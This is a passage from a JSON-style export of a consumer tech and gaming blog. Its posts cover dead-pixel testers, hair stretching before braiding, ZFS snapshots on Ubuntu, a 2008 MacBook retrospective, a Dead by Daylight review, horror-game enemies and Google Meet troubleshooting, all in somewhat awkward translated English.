tools.\n1. Check dead spots on the screen with Dead Pixel Locator Step 1:\nFirst you need to download the program under the link below.\nDownload Dead Pixel Locator software Step 2:\nThe program starts very quickly and does not need to go through many other installation steps. Soon after, Dead Pixel Locator appeared with the following interface.\n  We will see different colors to display dead spots on the screen like: White, Yellow, Black, Cycan, .\nStep 3:\nTo check dead spots , click on any color that appears on the interface . Colors will cover the entire screen. Use the arrows to switch to different colors .\nIf your screen has strange colors, different colors from the computer screen, it will be dead. You can switch between colors to check more accurately. Press Esc to return to the same screen interface.\n  We checked the screen in Cyan blue and there were no dead spots. With machines with dead spots, other small dots of color will appear for you to easily identify.\n  2. Check dead spots on the screen with InjuredPixels (Windows)   InjuredPixels allows easy check of faulty dead spots (hot, dead or frozen) on the LCD screen. You can also use InjuredPixels to check the new LCD screen before buying or the screen purchased during the warranty period (because you can renew according to the manufacturer's dead pixel policy). InjuredPixels fills the entire screen with a primary or custom color, allowing you to check if the pixels of the screen do not match the selected color.\nThis program is very easy to use, just click or use the arrow keys to change colors or right click to call the menu with the main commands. InjuredPixels can be run directly without having to install on your computer, you just need to download the portable version and run it.\nDownload InjuredPixels software 3. Check dead spots on the screen with the DeadPixel Test LCD (All browsers)   This is a simple test tool designed to easily detect 'dead pixels' (stuck pixels in ON and OFF) by displaying a series of contrasting background colors.\nDownload DeadPixel Test LCD 4. Check dead screen with Dead Pixel Buddy (All browsers)   The way this tool works is quite simple: it basically fills the screen with the color you choose, detecting dead or stuck pixels more clearly. You should experiment with a variety of colors, because maybe the first time you missed the broken pixels, you can try the default colors like black, white, red, green or blue or a custom color. Other tweaks. Also you can set Dead Pixel Buddy to automatically change colors by editing the Time Cycle value.\nDownload Dead Pixel Buddy Refer to the following articles:\n2 simple ways to update VGA driver for computer monitor, laptop 5 basic ways to update, update drivers for computers 8 steps to fix charging laptop not to power Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqbKkwIydnJqcXai9sMDSZqanZaSdsm6wxKyiraegYsCkvsSepQ%3D%3D\n","link":"/post/how-to-detect-dead-spots-on-the-desktop-screen/","section":"post","tags":null,"title":"How to detect dead spots on the Desktop screen"},{"body":" Microsoft PowerPoint is a presentation application included with Microsoft Office, and can be downloaded and installed on your computer at the same time you install Microsoft Office. PowerPoint is also available with limited functionality...\n David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKmnp5q%2FsbvIp6s%3D\n","link":"/post/how-to-download-powerpoint/","section":"post","tags":null,"title":"How to Download PowerPoint"},{"body":" Stretching out your hair before putting braids in it is an essential step. Making sure your hair is as straight and long as possible will help your braids go in easier and stay secure longer. Using a hair dryer or straightener can damage...\nWashing and Brushing Your Hair Wash your hair with shampoo and conditioner. You can use whichever shampoo and conditioner that you normally would. Try to choose products that are hydrating to give your hair some extra moisture.[1] It's important to start with clean hair when you put braids in so that your scalp stays healthy. If your hair is already clean, you can just wet it with water instead of washing it again. Tip: You can also use a deep conditioner or a hair mask if you'd like to add even more moisture into your hair.\n Rinse your hair out thoroughly with cool water. Make sure all of the product is rinsed out of your hair to ensure you won't have any buildup on your scalp. Use cool water so it is less damaging and drying for your hair.[2] Try rinsing with cool water every time you wash your hair to prevent damage and dryness.  Blot your hair with a microfiber towel. Try not to rub your hair with the towel; instead, gently press your hair inside of the towel to get rid of any excess moisture. Keep doing that until your hair isn't dripping wet anymore.[3] Microfiber towels are less damaging because they don't snag or tear your hair.  Apply a leave-in conditioner for extra protection. If your hair is dry or prone to breakage, run some leave-in conditioner throughout your hair from the ends to the roots. Make sure it soaks in so you can't see the conditioner sitting on top of your hair anymore.[4]\n Brush out your hair with a wide tooth comb or brush. Start from the ends of your hair and move upwards with your comb and brush to get rid of any tangles or snarls. The smoother your hair starts out, the easier it will be to stretch and lengthen it.[5] Try using a wet brush to avoid snagging or tearing your hair.  Braiding or Twisting Your Hair Separate your hair into 3 to 5 sections. Depending on how thick your hair is, you may need to use more or less sections. Try to do 2 to 3 sections in the front and 1 to 2 sections in the back for the best results. Use a fine tooth comb to make sure your sections are even.[6] If you have 3A or 3B curls, you can even just split your hair into 2 large sections.  Split 1 section into 3 parts for a braid. Grab the hair from 1 section and split it into 3 equal parts. Make sure your hair feels smooth and that it doesn't have any lumps in it before you start braiding.[7] You want your hair to be as straight and smooth as possible to stretch it out.  Braideach section for an easy routine. Hold the 3 parts of your hair at the base of your head and overlap the right section over the middle section. Then, take the left section and overlap it over the middle section. Keep doing this until you reach the end of your hair for a small braid, then secure it with a hair tie.[8] Braids will stretch your hair downwards while keeping your curls straightened out. However, they may leave a slight wave in your hair.  Split 1 section into 2 parts for a twist. Make sure the hair in each section is brushed out and smooth, then use your fingers to tease apart 1 section into 2 even parts. Try to make the parts as even as possible so your hair stretches evenly.[9] You can run a comb through your hair one more time if you need to.  Twist the section around itself for a more classic stretch. Grab both parts of your hair and wrap one over the other. Keep wrapping the hair parts over each other in the same direction until you reach the end of the section, then secure your twist with a small hair tie.[10] Twists are similar to braids except they won't leave quite as big of a wave in your hair when you take them out.  Braid or twist each section of your hair. Make sure all of your hair is either twisted or braided before you let your hair dry. Try to do all of your sections with the same amount of hair and tightness so that your hair stretches evenly.[11]\n Leave your braids or twists in overnight. Since your hair is in a braid or a twist, it may take a while to dry. Try to leave your style in for as long as possible before you take it out so your hair dries straight and stretched out.[12]\nTip: Once you take your braids or twists out, you can brush your hair again to get rid of any curls that may still be intact.\n Threading or Banding Your Hair Separate your hair into 10 to 15 sections. Depending on how thick your hair is, you may need more or less sections. Try to make them about 5 to 6 inches (13 to 15\u0026nbsp;cm) wide for the best results.[13]\nTip: Threading and banding works best on thinner sections of hair, so the more you put in the better.\n Wrap a thread around the base of 1 section to thread your hair. Hold one section of hair in one hand and wrap a crochet thread around the base of your hair with the other. Wrap the thread a few times over itself around your hair so that it stays in place.[14] You can find crochet thread at most craft supply stores.  Place a hair tie around the base to band your hair. Use a 1\u0026nbsp;in (2.5\u0026nbsp;cm) hair tie to make sure your hair gets banded tightly. Wrap the hair tie 2 times around the base of your hair so it's secure.[15] If you don't have super tiny hair bands, you can use larger ones and wrap them around your hair 2 to 3 times.  Keep wrapping thread or hair ties down the length of your hair. If you are using the threading method, wrap the thread around your hair section as you pull it taut. Then, tie the excess thread around your hair to keep it in place. If you are using the banding method, keep adding hair ties down your length of hair about 0.5 inches (1.3\u0026nbsp;cm) apart until you reach the end of your hair.[16]\n Leave the hair ties or thread in overnight. Let your hair dry while it is in the threaded or banded style. This will pull your hair straight without using any damaging heat styling products to prepare your hair for braids.[17] If you have thick hair, it may take longer for your hair to dry.   Samuel Daniel Update 23 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqukp7K1r8dmpZqspaeurXnHmqCrZZakv26u0Zqgnas%3D\n","link":"/post/how-to-stretch-natural-hair-for-braids/","section":"post","tags":null,"title":"How to Stretch Natural Hair for Braids"},{"body":"Thanks to Snapshots, you can revert your operating system back to the state it was in before any crashes occurred. Let's learn how to use ZFS Snapshots in Ubuntu 20.04 through the following article!\nInstall ZFS To be able to use ZFS features, you must also use ZFS. This means that during Ubuntu installation, at the Installation type step, instead of going with the default Erase disk and install Ubuntu, you should click on Advanced features .\n  In the pop-up window, select EXPERIMENTAL: Erase disk and use ZFS and click OK.\n  With ZFS selected displayed next to Advanced features…, you can proceed with the rest of the installation as you normally would.\n  Try to install a new package With Ubuntu 20.04, you don't have to do anything to take advantage of ZFS's Snapshots feature. You may notice the feature working when installing new packages in your favorite Terminal, creating symlinks for alternate versions of files, and updating the GRUB menu.\nHowever, when you need them to revert the system to an earlier state, they are there for you to use. Let's run a test. Install a package you want to try out:\nsudo apt install PACKAGE_NAME After trying out the new package, you can uninstall it using apt. For this tutorial, however, you'll see in the steps to follow in order to be able to revert your entire system back to where it was before the installation.\nRestore to the previous state Whenever you decide you want to revert your file system to its original state, reboot. After the initial boot screen, you'll have to press another key to access GRUB, depending on your computer's firmware.\nIf the computer uses BIOS, you must hold down the Shift key. If it uses UEFI, you have to press Escape after the system boot starts but before the operating system starts to load.\nScroll to the third item History for Ubuntu 20.04 LTS and press Enter.\n  Select the snapshot you want to revert to from the list that appears.\nChoose whether you only want to revert system files to their previous state but keep your personal data intact or if you want to go back in time for everything.\n Choose one of the revert options\nWait a while for different versions of the file to 'remap' in the file system. When you advance to the next screen, they will return to their previous position.\nUbuntu Ubuntu 20.04 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq7stJmqqeZoKi1sMDSZqCnZaWXwq%2FA1GZpaWhk\n","link":"/post/how-to-use-zfs-snapshots-in-ubuntu-20-04/","section":"post","tags":null,"title":"How to use ZFS Snapshots in Ubuntu 20.04"},{"body":"Apple launched this interesting MacBook on October 14, 2008, and continued to manufacture it until June 8, 2009. And this is also one of the best Apple laptops to date, with the ultimate keyboard and many other small but cool features that today's super model MacBook users only dare to dream of, from battery level indicator, to the hard drive can almost be replaced hot!\nIn fact, the MacBook 2008 is so good that you can still use it as your main computer today without a problem. So what is this MacBook that has been \"praised\"?\nReview 2008 aluminum monolithic MacBook\n12 years is an unusually long life cycle for a laptop. Each of us when buying a new laptop is asking the question, not knowing how long the machine we are about to buy will \"last\" for a long time? One of the reasons why the 2008 MacBook is so durable is that it can easily be repaired and upgraded.\n Current MacBook users dream of not having this port number!\nRegarding configuration, MacBook 2008 uses Intel Core 2 Duo 2.4GHz processor, 4GB RAM DDR3 1067 MHz, Nvidia GeForce 9400M 256MB GPU, 13.3-inch LCD screen with 1280 x 800 resolution.\nThe latest version of the operating system that can be used is OS X 10.11.6 El Capitan - you will not be able to install some new software, such as Logic Pro X. However, that is not a big problem because not everyone uses such software.\nUnlike previous iPad or iPhone models, the MacBook 2008 in 2020 is still \"as fast as the wind\", just like when it was released. Perhaps \"thanks\" to Apple does not allow operating system upgrades beyond 10.11, so this laptop still reaches the optimal speed, ensuring its usefulness. If you upgrade your HDD to SSD, it's even faster than when you first bought it!\nFeatures that make MacBook 2008 better than the new MacBook today\nHere is a list of a number of features that today's Mac users will want to drool over, all of which appear on the 2008 MacBook:\n- 2 full-size USB-A ports\n- Ethernet port\n- Headphone and microphone jack, support optical audio input and output\n- Mini Display port\n- Charging MagSafe\n- The sleep mode indicator is blinking\n- Battery LED indicator, with battery test button on the side of the device\n- Removable battery\n- Removable hard drive\n- DVD / CD drive\nNot over yet. The 2008 MacBook also has a great backlit keyboard, which is comfortable to use because of its high accuracy and robustness.\n However, the hardware of the 2008 MacBook still has its weaknesses: RAM is limited to 4GB (you can add it yourself without any problems), and the screen is of non-Retina type. In actual use, the difference between Retina and non-Retina may also be temporarily acceptable. Finally, there is no expansion card slot.\nRepair ability\nIf you open this MacBook, you will be surprised at the space inside it. The components are still firmly attached, but certainly not as tight as the current MacBook.\nCompare it to a home-made cheese sandwich, with wholemeal bread, and some lettuce leaves topped with shredded cheese. Today's modern MacBook resembles a pastrami sandwich sold at fast food stands in New York, crammed with too much meat, there's no room for even a drop of mustard.\nThat means fixing everything becomes relatively easy. Flip the battery cover on the bottom, and you'll be able to remove the battery by pulling a piece of plastic. The hard drive is nearby, and you can pull it off and replace it in minutes with just a few screws. Wow! Assuming the hard drive is broken, you can replace the new hard drive and continue working almost immediately! You can replace the SSD in it also.\nApple also allows users to remove the internal optical drive and replace an SSD drive instead. RAM is also easy to disassemble and replace - unlike solder RAM that dies into circuits like today's MacBooks.\nIt can be seen that you can completely replace all the components that wear out over time and keep your laptop in a \"good\" state forever. Even fixing the trackpad itself is easy, and if you can, you can buy a new trackpad to scratch.\nSSD\nThere is one trick anyone using older Macs has to do: replace the rotating hard drive with an SSD. On laptops, this is more important than desktops, because laptops often use slow-speed hard drives, only 5,400rpm (although the iMac will still use one of these sluggish laptop hard drives in . 2020).\n Instructions to replace the hard drive at the back of the machine\nReplacing the SSD drive will cause your aging Mac to spring up immediately. You will notice the difference when your computer boots up immediately from sleep mode, and performance is equivalent to iOS, instead of having to wait for applications to bounce on the dock up to 15 times to start. And on MacBook 2008, replacing SSD is extremely easy. However, you should not replace the HDD with an SSD. A more reasonable way is to replace the optical drive with an SSD, and keep the HDD of the machine intact. At that time, you can turn the HDD into a backup and set a backup schedule from SSD to HDD every day, then unmount the HDD to save battery. Speaking of battery, after 20 years, if used properly, the MacBook 2008 battery can still last more than an hour, and you can replace it at any time.\n  Conclusion\nAll praise, but no one would recommend buying a 2008 MacBook at this time. You can own it for less than $ 200, but who knows how it has been treated by the previous owner? You will probably have to replace everything inside. But if you, or your friends, or your relatives, have a 2008 MacBook, you probably don't need to consider what it is.\nncG1vNJzZmismaXArq3KnmWcp51kuqKvwaimpGViZX15edGeraKdp2K6tq%2FHZpmerKSav27Ax5qlZqyYmnqvsdZmpJqbkqS8rHnTqJuasQ%3D%3D\n","link":"/post/much-better-than-the-new-macbook-today/","section":"post","tags":null,"title":"Much better than the new MacBook today"},{"body":"Google recently launched a size measurement application, the length of real-world objects named Measure of its own on Play Store. Earlier, Apple released the AR application of the same name, the same function at the WWDC earlier this month.\nEvery smartphone compatible with Google's AR Core platform can use its Measure, including almost all of the high-end Android smartphones recently released.\n  List of devices that are compatible with ARCore:\n    To use Google's Measure, you just need to move the smartphone around for a while to analyze the scene and then drag a virtual line on the object you want to measure.\nThrough testing, Measure works relatively well on Pixel 2 XL. However, Measure should only be used for jobs that do not require high accuracy.\n  In the past, to perform such measurement tasks, it was necessary to use depth cameras and specialized hardware. But now, thanks to AR technology, applications on mobile devices with cameras can often handle them to achieve quite good results.\nYou can download Measure on Google Play here.\nSee more:\n6 AR apps for great Android phones you should not miss if you are using AR-powered smartphones Just a Line, Google's app that turns the whole world into an exciting 3D drawing board Very interesting free AR applications on iOS 11 and download links How to use the virtual ruler AR MeasureKit iOS 11 ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZKCnn5y5pr%2BMppyaq6Wnsm6tz6lksKCZmLVuv9Spp6iqpKh6orjLZpinnKKktqWvzqanmqyZl7mmecCrmqiqlWLArq3Rraehp56awA%3D%3D\n","link":"/post/please-download-google-s-measure-app-which-supports-all-android-compatible-arcore-smartphones/","section":"post","tags":null,"title":"Please download Google's Measure app, which supports all Android-compatible ARCore smartphones"},{"body":" Publisher : Starbreeze Studios\nDeveloper : Behavior Interactive\nGenre : Horror\nRelease date : June 14, 2016\nESRB : Mature\nPlatforms: PC, PlayStation 5, Xbox Series X, PlayStation 4, Xbox One, Switch, iOS, Android\nAsymmetrical multiplayer is a great concept, it's basically a game designed to have unequal numbers of people between teams. In fact, I've seen big hits like Left 4 Dead and bad decisions that lead to failure like Fable Legends and Shadow Realms. Dead by Daylight from developer Behaviour falls somewhere in the middle, with exciting gameplay, heart-stopping scares, and tension unlike anything I've ever felt in a multiplayer game.\nDead by Daylight is like a playable horror movie that sends an unstoppable villain - the Killer - hunting down a group of four survivors - Survivor - who are racing against time to save their lives. take their lives. The team of Survivors had nothing to rely on but their wits while evading a lone but pressured foe. The goal is the same in each map: Survivor must locate and fix some generators, find one of two exits, flip the switch, and escape. And the Killer needs to stop them.\n  To survive, Survivor needs to escape from one of a series of monstrous Killers. Each has different special abilities, like setting a bear trap or ringing a bell to become invisible. Right from the start of the game as Survivor, you need to think and act quickly. Identifying the Killer you are up against is very important, but you also need to find a generator and start fixing them as soon as possible.\nVarious unexpected situations and bloody slashing sequences make you always feel the need to try, no matter which side you are on. Both sides provide a thrill; I screamed like a girl when a Killer snuck in and grabbed me like a frog, and I revealed my psycho as I was a Killer chasing a helpless Survivor in the woods.\n  The developer of Behavior has created the scares in a multiplayer game that most of the time has the same pacing and identical goals every time you play. While each match follows the same loop of finding and repairing generators while trying to sneak, each match contains tension, terror, and ultimately a sigh of relief in victory. Elements are created through careful and random environmental design such as creepy cornfields, rotting houses and rusty scrap yards.\n   Once the Killer captures your teammates, you will have a hard time completing your objective. When the supernatural Killer hangs your friends in a ritual sacrifice to his god, you need to make a tough decision. Do you risk saving them, knowing that the Killer is probably keeping a close eye on his prey? Or do you take advantage of the time he wastes shoving his face into a hanging comrade like a piece of pork chop to find and repair a generator in relative safety?\n  As a Killer, you need to move quickly. While you can capture survivors easily, they are faster and have the advantage in third person (as opposed to Killer first person). It is easy to lose track of prey, which makes each chase more intense. More than once, my game got into a situation where there was only one Survivor left which eventually resulted in a fun game of cat and mouse.\n  As a Survivor, revealing your location is easy. The act of running leaves a trail for Killer to track and doesn't do a good job on QTEs while repairing generators that clearly signal Killer that you've played dumb. Walking, crouching, and even hiding in tall grass are often the best options. This creates strategy in moves and makes wise choices from time to time. It's easy (and dangerous) when you run away. However, if you want to get back to working on the generator you had to leave, you'd better move slowly and quietly, hiding until Killer walks away.\n  Dead by Daylight rarely feels one-sided, and I love that many of the matches are bloody dry. One side is likely to prevail early, but those cases are a welcome exception, suggesting skill is more important than quantity.\nSurvivor and Killer each have a unique, randomly generated upgrade called Bloodweb. To level up, you need to earn Bloodpoints simply by playing games. Filling up a branch by unlocking all nodes, you level up and start over with new skills and items, which can make the Killer stronger, can change environment elements or give an advantage to Survivor.\n  The upgrade system provides perks that help tweak the way all of the game's characters are played, such as Killer receiving audio cues when Survivors are nearby or Survivors earning self-healing, power-up to other Survivors or a 'sixth sense' that helps you sense when others are nearby. They make sense without causing serious disparities when players of different levels are matched for the same match. Since the Bloodweb network is random, you cannot easily customize for specific roles, such as mechanic or medic. Instead, since you have to use every available button to level up, you're seeing a completely random system. The rank system serves as meta progression, but character-specific perks drive replay value.\nMany of your Dead by Daylight matches are likely to be with random players, which feels alien in a gaming world that's tended to be more focused on playing with friends in recent years. After joining the game, you can't communicate, whether it's text chat or voice chat. This goes well with this genre of game, but I like a voice system based on neighborhood radius, which Killer can also hear. Removing the in-game chat function entirely seems counterproductive. This means you want to utilize the pre-match chat to strategize, especially since you won't know which Killer will be hunting you down.\n  You cannot team up with friends to play ranked. However, you can put your earned perks and items into a private match with your friends. Since you can play with two to four Survivors (with the number of generators to repair calculated by the number of players), it is a good solution. As a Killer, you will have to wait a little longer to find the match. However, I rarely have problems finding a group of Survivors to hunt. Because the developer Behaviour lets players choose the experience they want, you'll never have a hard time playing on the side you don't want. Matching definitely makes more sense than just picking groups of five and putting them in the same waiting room, resulting in people rage quitting if they don't get to the side they want.\n  In terms of the idea of asymmetrical multiplayer , where up to four Survivors have to escape a warped Killer is a good choice for a horror-like-but-no-thriller-like game. - weird. In terms of graphics, a creepy atmosphere and Killer scene designs beat the rather bland Survivors and environments that could have needed more variety. In terms of sound, you should play with headphones and listen to the pounding heartbeat that indicates the Killer is near. You need to turn up the volume because sound is important.\nThe gameplay and controls are tight, whether playing with a mouse and keyboard or a gamepad. Be prepared for random QTE situations that add to the challenge. The entertainment factor comes from the tension that runs high in each match, with heart-stopping scares and intense chases every time you encounter Killer. .\nDead by Daylight horror ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqeWYrGmrcNmmbJllJbGrbXGoatmrJiaeqfBzWalop%2BYqbqivsRmq6GZpGK7psLEq2SeppSo\n","link":"/post/review-of-dead-by-daylight/","section":"post","tags":null,"title":"Review of Dead by Daylight"},{"body":"After nearly 9 years of waiting for the gaming community, Rockstar has finally officially confirmed that they are focusing on developing GTA 6. Although more specific information about this project has not been released yet. announced, but at least Rockstar's confirmation has also brought positive signals to fans.\n  Recently, a leaker named Tez2 has given surprising information that Rockstar will most likely reveal the first footage of GTA 6 before 2022 ends. In fact, it is entirely possible for a studio to release a trailer for a new game not long after announcing the project.\n  Therefore, GTA 6 can completely have a separate trailer shown in the near future. Even so, fans of the Grand Theft Auto series will have to wait until at least the second half of 2022 before seeing the next move from Rockstar.\n  As one of the biggest game franchises of all time, Grand Theft Auto has always received great attention and attention from the gaming community. However, before expecting anything, we should still wait for official announcements about GTA 6 from Take-Two or Rockstar.\n ncG1vNJzZmismaXArq3KnmWcp51kv7CvyqyrmqpdrLatuIyapaenpaOwpnnToZxmp5abtqS1wKVkraqRnrmmvoyonWafpJZ6d3nIp2RraGJn\n","link":"/post/rockstar-will-announce-the-official-trailer-of-gta-6-in-2022/","section":"post","tags":null,"title":"Rockstar will announce the official trailer of GTA 6 in 2022?"},{"body":"Please continue to monitor the rest of the list of enemies seen to be running in the game's world!\nIn the final part of this series, we will continue to experience both scary and immortal bosses in the gaming world. Meeting them, the only option is to run to preserve life.\nGatherer (Amnesia: The Dark Descent) Trapped in a spooky castle, the protagonist Daniel will face Gatherer, the hideous creatures often patrol and guard the Brennenburg castle. Because the main character does not have the ability to defend themselves, it will not be able to fight against the Gatherer. Instead, dodging and fleeing are the only means to these creatures. Gatherer will always be on alert when the player is nearby, making sneaking through them not easy.\n  Not to mention that looking at them for too long will cause the player's sanity to drop quickly, causing many difficulties, even in Hard Mode if sanity drops to zero, Daniel will die. It can be said that confronting Gatherer requires nerves of steel from both the player and the protagonist.\nSlender Man (Slender: The Eight Pages) This game about 'bugaboo' was once extremely hot on the internet for a while. Stray into a forest, the player must find 8 pieces of paper and simultaneously confront the classic creepypasta character Slender Man. Players are only equipped with a flashlight to illuminate the road and not be able to fight Slender Man, which means running away is the only option.\n  Escaping the Slender Man will become more and more difficult as the player collects new pieces of paper, the more the Slender Man will pursue fiercely. Flashlights are essential to light the way but will attract the attention of Slender Man. Once the Slender Man is close enough, the player is not allowed to look at him otherwise it is considered a failure.\nThe Groom (Outlast: Whistleblower) In Outlast , the player must flee from almost any enemy, so I would like to choose the most typical character: The Groom. In the middle of the psychiatric hospital with a bunch of patients spoiled in chaos, as if the player had faced all kinds of crazy, they ended up encountering the 'groom'.\n  Eddie Gluskin always dreamed of being a groom at the wedding and wished to have a bride to get married. Every crime in this institute is full of men but that doesn't stop Eddie from getting a bride. His victims will have to go through a horrific transgender stage, resulting in nobody surviving. Unfortunately for the protagonist Waylon when he also caught his eye. The only thing the player can do is hide from him and wait for the nightmare to pass.\nMonster Ock (Spider-man) It seemed that the Spider-man game launched in 2000 was a superhero game for all ages when suddenly something like only in horror game appeared and haunted many childhoods. In the game, Carnage's symbiote, when defeated, leaves its host Cletus Kassidy to join Doc Ock to create a half-symbiote creature and Dr. Octopus, something that even comic book fans don't think about.\n  With tremendous power as well as scary appearance, Spider-man was forced to run his head from this creature to escape, creating one of the most intense and scary chases in the gaming world at that time. . Until now, Monster Ock is still considered one of the scariest villains, equal to both the Nemesis or Pyramid Head in horror games.\n The \"handsome boys\" missing in Resident Evil - Part 3: Jake Muller Jake Muller is the son of Albert Wesker, but unlike his evil, ambitious father, Jake goes from just wanting to help his mother to saving the world.\nXenomorph (Alien: Isolation) It is undeniable that Xenomorph's influence on popular culture is always in the top of the scariest sci-fi monsters. But for the gaming world, perhaps it is the Alien: Isolation that gamers can really see the threat of this creature. In Alien: Isolation, the Sevastopol space station is actually a territory of the Xenomorph where the main character Amanda Ripley will have to play a hide and seek game that is vital to this creature.\n  Xenomorph in the game is invincible, no weapon can destroy it completely. Running away from it is impossible when it is detected, the player will almost certainly be caught by it. Players can only temporarily chase it away for a while, but it will also quickly return. It is absolutely imperative to hide and avoid contact with Xenomorph and Xenomorph's AI is extremely complex. It moves randomly and sometimes has extremely unpredictable behaviors, along with the ability to learn and resist tricks that players abuse. It can be said that every single encounter with Xenomorph in the game will make the bravest gamers hold their breath.\nPyramid Head (Silent Hill 2) In the Silent Hill series in particular and the horror game village in general, Pyramid Head can be said to be one of the most iconic as well as the most widely known monsters. Not only is it a monster that keeps on chasing the protagonist James Sunderland, it is also the embodiment of the crimes that James has committed are following him.\n  Throughout the game's length, James will be constantly pursued by this executioner. Pyramid Head can be considered immortal, no player's weapon can destroy it, along with the damage of Pyramid Head is also quite large, sometimes a hit can kill the player. Unless facing the Pyramid Head directly as the boss follows the game's intended scenario, it's best to run away from it and attack only to slow it down if necessary. It can be affirmed that although Silent Hill is no longer continuing, the legacy that Pyramid Head left behind is hard to fade for the fans.\nThis is an article in a series about Enemies who find to flee\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6lnqWZmsBuwMeaq2arlZp6or7EZqmupp6eu6h5yKdkraCVYrSiucRmrqiqnJl6sbjArKs%3D\n","link":"/post/the-enemies-that-see-are-running-in-the-game-world/","section":"post","tags":null,"title":"The enemies that see are running in the game world"},{"body":"Google Meet has become one of the standard solutions for online meeting. And it's a viable option whether you're attending a business meeting or connecting with friends and family. However, like all software, Google Meet is not perfect, and you may experience some problems in the process. If you're having trouble with the app, this guide should help.\nCannot join or start meeting If you're having trouble joining an existing Google Meet video meeting or creating a new meeting, first make sure you're signed in with your Google account or Google Workspace - you can do this by visiting visit the Google website, then click the blue Sign In button. If you are a Google Workspace user, you may need to check with your administrator to make sure that Google Meet is enabled for your organization in the Google Admin console.\nThe phone number to call was not provided for the meeting At this time, only meetings set up by Google Workspace users have a phone number to call, allowing meeting participants to call into the meeting using their phone. Also, not all countries of the world include this feature. Remember to check with Google to make sure the country you want supports dialing.\nEducation users cannot participate from outside the domain If you are using a Google Workspace for Education Fundamentals account or an Education Plus account, there is a known error where the meeting creator must be present to approve or deny participation requests from outside the domain.\nTherefore, if the meeting creator is absent from the call, the user outside the domain will not be able to join the call and the Ask to Join page will hang. Until this issue is fixed, the best solution is to make sure the meeting creator continues the call until all participants with an external email address are present.\nYour meeting appears to be full If you can't add someone else to your meeting, you may have reached your subscription limit. Personal Google accounts and G Suite Basic accounts have a limit of 100 participants. Education Fundamentals accounts are also limited to 100 participants, while G Suite Business, Business Standard, and Essentials accounts can hold up to 150 participants. (Business Starter is still limited to 100).\nFor Business Plus and Enterprise customers, Google Meet can support up to 250 participants. However, Enterprise Essentials customers are still limited to 150. Education Plus accounts also have a maximum of 250 participants.\nThe camera or microphone has been denied access When you join a Google Meet conference for the first time, the system will ask for permission to use the camera and microphone. If you accidentally rejected the system, you can change your answer by following the steps below:\nStep 1 : Visit the Google Meet website, preferably using Google Chrome.\nStep 2 : Click the New Meeting button and then choose Start an Instant Meeting from the pop-up menu.\nStep 3 : On Chrome's address bar, click the locked camera icon (a small camera with a red X).\n  Step 4 : Click on Always Allow https://meet.google.com to Access Your Camera and Microphone .\n  Step 5 : Click Done . Then a message can appear - just click Remove . Reload the web page to see that your camera and microphone have been granted access and are now active.\nStep 6 : When you refresh the website, you'll be taken out of the meeting and returned to the Ready to Join screen ? . On this screen, you can see if your camera and microphone are working by clicking on Test Your Audio and Video button .\nYou'll go through the steps required to test your microphone and webcam by recording a short clip of what you're talking about. If your hardware is good and you are satisfied with the clip quality, you can click the Join button right in the Ready to Join screen ? to join your meeting.\nPeople can't see your camera while using MacOS On the latest versions of MacOS (Mojave or later), you need to allow Chrome or Firefox to use your webcam. This is a security measure to make sure no unapproved apps are using your webcam or microphone without your permission.\nNote : Before following these steps, check to make sure your camera is plugged in properly. If you can access your webcam in other apps, such as FaceTime or Photobooth, continue.\nStep 1 : Click the Apple logo in the top left corner of the screen.\nStep 2 : Select System Preferences.\nStep 3 : Select the Security \u0026amp; Privacy setting .\nStep 4 : Select Privacy\u0026gt; Camera .\nStep 5 : Make sure that Google Chrome or Firefox has a check mark next to it.\nYou can also follow the same steps if your microphone is rejected. In step 4, select the Microphone option instead of the Camera option .\nThe drop-down menus are not visible during screen sharing The Google development team now knows that when you share a window in Google Meet, the drop-down menus won't display. If you need a drop-down menu, your best option now is to share your entire desktop instead of a single window.\nCannot present while on MacOS With macOS Catalina or later, you need to allow the browser to record your screen before presenting. To enable this option via the System Preferences app , follow these steps:\nStep 1 : Click the Apple logo in the top left corner of the screen.\nStep 2 : Select System Preferences.\nStep 3 : Select the Security \u0026amp; Privacy setting .\nStep 4 : Select Privacy.\nStep 5 : Select Screen Recording.\nStep 6 : Make sure that Google Chrome or Firefox has a check mark next to it.\nPoor video quality during the call Several different factors may affect the quality of your video calls. For starters, make sure you are using a high definition webcam from a trusted manufacturer. (If you don't have a great webcam, there's not much you can do.) Also, check that the network you are using is high speed and able to support calls. If you're still having problems, try closing other browser tabs and apps that are using up resources. Finally, if you are using a VPN try to disconnect from it, as it might slow down your connection.\nGoogle Meet is completely inaccessible You may have noticed that Google is having some problems with its Meet service. See Google Workspace Status Dashboard for more information. A green icon next to Meet indicates everything is working properly, while an orange / yellow or red icon will indicate an issue that could explain why you can't connect at the moment.\nGoogle Meet cannot be opened on mobile devices Visit the App Store on an iOS device or the Play Store on an Android device to ensure that your version of Google Meet is still supported. Google only supports mobile versions of Meet for 6 months, and older versions of the app may subsequently stop working properly. Alternatively, remove the app and then reinstall it from the appropriate app store on your mobile device.\nMeetings cannot be scheduled all day Google has said that meeting rooms added to all-day events will be \"scheduled for Coordinated Universal Time (UTC)\", which may result in an error that prevents you from scheduling extended meetings. all day. You can fix this problem by manually scheduling the 24-hour event (using the Date and Time drop-down boxes ) instead of selecting the All Day option when you plan your meeting.\nWish you successful troubleshooting!\nGoogle Meet ncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdmLyuuc6nZKCnn5y5pnnMnpytZZWnv7C%2B0maYp5xdnby4edOoZJ%2BhqGLBqbHM\n","link":"/post/the-most-common-google-meet-errors-and-how-to-fix-them/","section":"post","tags":null,"title":"The most common Google Meet errors and how to fix them"},{"body":"A lot of people are looking forward to the next update of Among Us. It can be said that this year 2020 is a good year for this game when the number of Among Us players has increased significantly on both Among Us PC and Mobile platforms.\nAnd in this next update of Among Us, the biggest thing and get the most attention of gamers that is the new map in Among Us - Toppat Airship\u0026nbsp;\nPlayer Among Us is probably too familiar with the current three maps are The Skeld, MIRA-HQ and Polus. Although all three maps offer different quests and terrain. And one of them is clearly the best map in Among Us.\n  But players still want to find something new, for sure. Especially for players who are familiar with Among Us and often play with friends. And now, a looming new map appeared.\nMissions, options in the new map Among Us - 